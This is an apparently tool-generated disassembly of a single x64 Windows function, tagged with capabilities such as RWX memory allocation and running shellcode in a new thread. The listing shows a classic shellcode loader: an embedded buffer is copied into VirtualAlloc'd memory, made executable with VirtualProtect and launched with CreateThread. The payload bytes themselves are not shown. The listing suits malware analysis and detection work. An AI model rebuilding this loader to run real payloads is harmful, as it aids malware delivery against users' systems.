Function at 0x1400016d0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x258
lea rbp, [rsp + 0x80]
call fcn.140001d97
lea rax, [rbp + 0x10]
lea rdx, [0x140016020]
mov ecx, 0x22
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rbp + 0x10]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 0x114
lea rax, [rbp + 0x12f]
mov qword [rbp + 0x1c0], rax
nop
nop
movdqa xmm0, xmmword [rbp - 0x50]
movaps xmmword [rbp - 0x30], xmm0
lea rcx, [rbp + 0x12f]
lea rdx, [rbp - 0x30]
lea rax, [rbp - 0x10]
mov r8, rcx
mov rcx, rax
call fcn.14000bbc0
nop
lea rax, [rbp - 0x10]
mov rcx, rax
call fcn.1400046b0
mov r9d, 4
mov r8d, 0x3000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x1c8], rax
cmp qword [rbp + 0x1c8], 0
jne 0x14000180b
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov dword [rbp + 0x15c], eax
mov qword [rbp - 0x40], 0x29
lea rax, str.____VirtualAlloc_failed_with_error_:___n
mov qword [rbp - 0x38], rax
lea rax, [rbp + 0x130]
movdqa xmm1, xmmword [rbp - 0x40]
movaps xmmword [rbp - 0x30], xmm1
lea rcx, [rbp + 0x15c]
lea rdx, [rbp - 0x30]
mov r8, rcx
mov rcx, rax
call fcn.140013cb0
lea rax, [rbp + 0x130]
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call fcn.140001bd8
lea rax, [rbp + 0x130]
mov rcx, rax
call fcn.14000d560
mov ebx, 0xffffffff
jmp 0x1400019c8
lea rax, [rbp - 0x10]
mov rcx, rax
call fcn.14000bb60
mov rbx, rax
lea rax, [rbp - 0x10]
mov rcx, rax
call fcn.14000bb90
mov rdx, qword [rbp + 0x1c8]
mov r8, rdx
mov rdx, rbx
mov rcx, rax
call fcn.140013b50
mov dword [rbp - 0x14], 0
lea rax, [rbp - 0x10]
mov rcx, rax
call fcn.1400046b0
mov rdx, rax
lea rcx, [rbp - 0x14]
mov rax, qword [rbp + 0x1c8]
mov r9, rcx
mov r8d, 0x40
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
test eax, eax
sete al
test al, al
je 0x1400018ed
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov dword [rbp + 0x18c], eax
mov r14d, 0x2c
lea r15, str.____VirtualProtect_failed_with_error_:___n_
lea rax, [rbp + 0x160]
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x28], r15
lea rcx, [rbp + 0x18c]
lea rdx, [rbp - 0x30]
mov r8, rcx
mov rcx, rax
call fcn.140013cb0
lea rax, [rbp + 0x160]
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call fcn.140001bd8
lea rax, [rbp + 0x160]
mov rcx, rax
call fcn.14000d560
mov ebx, 0xffffffff
jmp 0x1400019c8
mov rax, qword [rbp + 0x1c8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
test rax, rax
sete al
test al, al
je 0x14000199b
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov dword [rbp + 0x1bc], eax
mov r12d, 0x29
lea r13, str.____CreateThread_failed_with_error_:___n
lea rax, [rbp + 0x190]
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x28], r13
lea rcx, [rbp + 0x1bc]
lea rdx, [rbp - 0x30]
mov r8, rcx
mov rcx, rax
call fcn.140013cb0
lea rax, [rbp + 0x190]
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call fcn.140001bd8
lea rax, [rbp + 0x190]
mov rcx, rax
call fcn.14000d560
mov ebx, 0xffffffff
jmp 0x1400019c8
lea rax, str.___Press__Enter__to_exit..
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call fcn.140001be0
mov rax, qword [sym.imp.libstdc_6.dll_std::cin]
mov rcx, rax
call fcn.140001c98
mov ebx, 0
lea rax, [rbp - 0x10]
mov rcx, rax
call fcn.14000bc50
mov eax, ebx
jmp 0x140001a2e
add rsp, 0x258
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret